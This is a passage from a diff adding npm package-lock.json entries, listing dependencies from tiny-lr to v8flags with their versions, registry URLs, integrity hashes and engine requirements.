"^5.1.0", + "debug": "^3.1.0", + "faye-websocket": "~0.10.0", + "livereload-js": "^2.3.0", + "object-assign": "^4.1.0", + "qs": "^6.4.0" + } + }, + "node_modules/tiny-lr/node_modules/debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/tinycolor2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/tinycolor2/-/tinycolor2-1.4.1.tgz", + "integrity": "sha1-9PrTM0R7wLB9TcjpIJ2POaisd+g=", + "engines": { + "node": "*" + } + }, + "node_modules/tmp": { + "version": "0.0.33", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", + "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, + "dependencies": { + "os-tmpdir": "~1.0.2" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/tmpl": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", + "peer": true + }, + "node_modules/to-arraybuffer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz", + "integrity": "sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=", + "dev": true + }, + "node_modules/to-fast-properties": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.3.tgz", + "integrity": "sha1-uDVx+k2MJbguIxsG46MFXeTKGkc=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-object-path": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", + "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", + "dependencies": { + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "regex-not": "^1.0.2", + "safe-regex": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex-range": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", + "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", + "dependencies": { + "is-number": "^3.0.0", + "repeat-string": "^1.6.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex-range/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/toastr": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/toastr/-/toastr-2.1.4.tgz", + "integrity": "sha1-i0O+ZPudDEFIcURvLbjoyk6V8YE=", + "dependencies": { + "jquery": ">=1.12.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "peer": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/token-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/token-stream/-/token-stream-1.0.0.tgz", + "integrity": "sha1-zCAOqyYT9BZtJ/+a/HylbUnfbrQ=", + "dev": true + }, + "node_modules/tough-cookie": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", + "dev": true, + "dependencies": { + "psl": "^1.1.24", + "punycode": "^1.4.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", + "peer": true + }, + "node_modules/trim-newlines": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz", + "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/trim-right": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/trim-right/-/trim-right-1.0.1.tgz", + "integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/true-case-path": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", + "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", + "dev": true, + "dependencies": { + "glob": "^7.1.2" + } + }, + "node_modules/true-case-path/node_modules/glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/tslib": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.10.0.tgz", + "integrity": "sha512-qOebF53frne81cf0S9B41ByenJ3/IuH8yJKngAX35CmiZySA0khhkovshKK+jGCaMnVomla7gVlIcc3EvKPbTQ==", + "dev": true + }, + "node_modules/tty-browserify": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.0.tgz", + "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=", + "dev": true + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "dev": true, + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", + "dev": true, + "optional": true + }, + "node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", + "dev": true, + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.7.1.tgz", + "integrity": "sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", + "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", + "dev": true + }, + "node_modules/ua-parser-js": { + "version": "0.7.18", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.18.tgz", + "integrity": "sha512-LtzwHlVHwFGTptfNSgezHp7WUlwiqb0gA9AALRbKaERfxwJoiX0A73QbTToxteIAuIaFshhgIZfqK8s7clqgnA==", + "engines": { + "node": "*" + } + }, + "node_modules/uglify-es": { + "version": "3.3.9", + "resolved": "https://registry.npmjs.org/uglify-es/-/uglify-es-3.3.9.tgz", + "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==", + "deprecated": "support for ECMAScript is superseded by `uglify-js` as of v3.13.0", + "dependencies": { + "commander": "~2.13.0", + "source-map": "~0.6.1" + }, + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/uglify-es/node_modules/commander": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.13.0.tgz", + "integrity": "sha512-MVuS359B+YzaWqjCL/c+22gfryv+mCBPHAv3zyVI2GN8EY6IRP8VwtasXn8jyyhvvq84R4ImN1OKRtcbIasjYA==" + }, + "node_modules/uglify-es/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/uglify-js": { + "version": "3.4.4", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.4.tgz", + "integrity": "sha512-RiB1kNcC9RMyqwRrjXC+EjgLoXULoDnCaOnEDzUCHkBN0bHwmtF5rzDMiDWU29gu0kXCRRWwtcTAVFWRECmU2Q==", + "dev": true, + "dependencies": { + "commander": "~2.16.0", + "source-map": "~0.6.1" + }, + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/uglify-js/node_modules/commander": { + "version": "2.16.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.16.0.tgz", + "integrity": "sha512-sVXqklSaotK9at437sFlFpyOcJonxe0yST/AG9DkQKUdIE6IqGIMv4SfAQSKaJbSdVEJYItASCrBiVQHq1HQew==", + "dev": true + }, + "node_modules/uglify-js/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/uglify-to-browserify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz", + "integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc=", + "dev": true, + "optional": true + }, + "node_modules/uglifyjs-webpack-plugin": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-1.2.7.tgz", + "integrity": "sha512-1VicfKhCYHLS8m1DCApqBhoulnASsEoJ/BvpUpP4zoNAPpKzdH+ghk0olGJMmwX2/jprK2j3hAHdUbczBSy2FA==", + "dev": true, + "dependencies": { + "cacache": "^10.0.4", + "find-cache-dir": "^1.0.0", + "schema-utils": "^0.4.5", + "serialize-javascript": "^1.4.0", + "source-map": "^0.6.1", + "uglify-es": "^3.3.4", + "webpack-sources": "^1.1.0", + "worker-farm": "^1.5.2" + }, + "engines": { + "node": ">= 4.8 < 5.0.0 || >= 5.10" + }, + "peerDependencies": { + "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" + } + }, + "node_modules/uglifyjs-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/umd": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/umd/-/umd-3.0.3.tgz", + "integrity": "sha512-4IcGSufhFshvLNcMCV80UnQVlZ5pMOC8mvNPForqwA4+lzYQuetTESLDQkeLmihq8bRcnpbQa48Wb8Lh16/xow==", + "dev": true, + "bin": { + "umd": "bin/cli.js" + } + }, + "node_modules/undeclared-identifiers": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/undeclared-identifiers/-/undeclared-identifiers-1.1.2.tgz", + "integrity": "sha512-13EaeocO4edF/3JKime9rD7oB6QI8llAGhgn5fKOPyfkJbRb6NFv9pYV6dFEmpa4uRjKeBqLZP8GpuzqHlKDMQ==", + "dev": true, + "dependencies": { + "acorn-node": "^1.3.0", + "get-assigned-identifiers": "^1.2.0", + "simple-concat": "^1.0.0", + "xtend": "^4.0.1" + }, + "bin": { + "undeclared-identifiers": "bin.js" + } + }, + "node_modules/underscore": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz", + "integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg==" + }, + "node_modules/underscore.string": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.4.tgz", + "integrity": "sha1-LCo/n4PmR2L9xF5s6sZRQoZCE9s=", + "dev": true, + "dependencies": { + "sprintf-js": "^1.0.3", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": "*" + } + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz", + "integrity": "sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz", + "integrity": "sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==", + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^1.0.4", + "unicode-property-aliases-ecmascript": "^1.0.4" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz", + "integrity": "sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz", + "integrity": "sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg==", + "engines": { + "node": ">=4" + } + }, + "node_modules/union-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.0.tgz", + "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", + "dependencies": { + "arr-union": "^3.1.0", + "get-value": "^2.0.6", + "is-extendable": "^0.1.1", + "set-value": "^0.4.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/union-value/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/union-value/node_modules/set-value": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-0.4.3.tgz", + "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", + "deprecated": "Critical bug fixed in v3.0.1, please upgrade to the latest version.", + "dependencies": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.1", + "to-object-path": "^0.3.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/uniq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true + }, + "node_modules/uniqs": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/uniqs/-/uniqs-2.0.0.tgz", + "integrity": "sha1-/+3ks2slKQaW5uFl1KWe25mOawI=", + "dev": true + }, + "node_modules/unique-filename": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz", + "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=", + "dev": true, + "dependencies": { + "unique-slug": "^2.0.0" + } + }, + "node_modules/unique-slug": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz", + "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=", + "dev": true, + "dependencies": { + "imurmurhash": "^0.1.4" + } + }, + "node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unquote": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz", + "integrity": "sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ=", + "dev": true + }, + "node_modules/unset-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", + "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", + "dependencies": { + "has-value": "^0.3.1", + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-value": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", + "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", + "dependencies": { + "get-value": "^2.0.3", + "has-values": "^0.1.4", + "isobject": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-value/node_modules/isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", + "dependencies": { + "isarray": "1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-values": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", + "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/upath": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.0.tgz", + "integrity": "sha512-bzpH/oBhoS/QI/YtbkqCg6VEiPYjSZtrHQM6/QnJS6OL9pKUFLqb3aFh4Scvwm45+7iAgiMkLhSbaZxUqmrprw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/uri-js": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", + "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", + "dev": true, + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/uri-js/node_modules/punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/urix": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", + "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", + "deprecated": "Please see https://github.com/lydell/urix#deprecated" + }, + "node_modules/url": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", + "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", + "dev": true, + "dependencies": { + "punycode": "1.3.2", + "querystring": "0.2.0" + } + }, + "node_modules/url-loader": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz", + "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", + "dev": true, + "dependencies": { + "loader-utils": "^1.1.0", + "mime": "^2.0.3", + "schema-utils": "^1.0.0" + }, + "engines": { + "node": ">= 6.9.0" + }, + "peerDependencies": { + "webpack": "^3.0.0 || ^4.0.0" + } + }, + "node_modules/url-loader/node_modules/ajv": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.6.2.tgz", + "integrity": "sha512-FBHEW6Jf5TB9MGBgUUA9XHkTbjXYfAUjY43ACMfmdMRHniyoMHjHjzD50OK8LGDWQwp4rWEsIq5kEqq7rvIM1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "node_modules/url-loader/node_modules/ajv-keywords": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", + "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", + "dev": true, + "peerDependencies": { + "ajv": "^6.0.0" + } + }, + "node_modules/url-loader/node_modules/fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "node_modules/url-loader/node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/url-loader/node_modules/mime": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.0.tgz", + "integrity": "sha512-ikBcWwyqXQSHKtciCcctu9YfPbFYZ4+gbHEmE0Q8jzcTYQg5dHCr3g2wwAZjPoJfQVXZq6KXAjpXOTf5/cjT7w==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/url-loader/node_modules/schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "dependencies": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/url/node_modules/punycode": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", + "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=", + "dev": true + }, + "node_modules/use": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", + "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/user-home": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/user-home/-/user-home-1.1.1.tgz", + "integrity": "sha1-K1viOjK2Onyd640PKNSFcko98ZA=", + "dev": true, + "bin": { + "user-home": "cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/util": { + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz", + "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=", + "dev": true, + "dependencies": { + "inherits": "2.0.1" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "node_modules/util.promisify": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.0.tgz", + "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.2", + "object.getownpropertydescriptors": "^2.0.3" + } + }, + "node_modules/util/node_modules/inherits": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", + "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", + "dev": true + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "peer": true, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", + "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "dev": true, + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/v-autocomplete": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/v-autocomplete/-/v-autocomplete-1.8.2.tgz", + "integrity": "sha1-lmx7PtosdN1oORERSiAoTNCWlh8=" + }, + "node_modules/v8flags": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-2.1.1.tgz", + 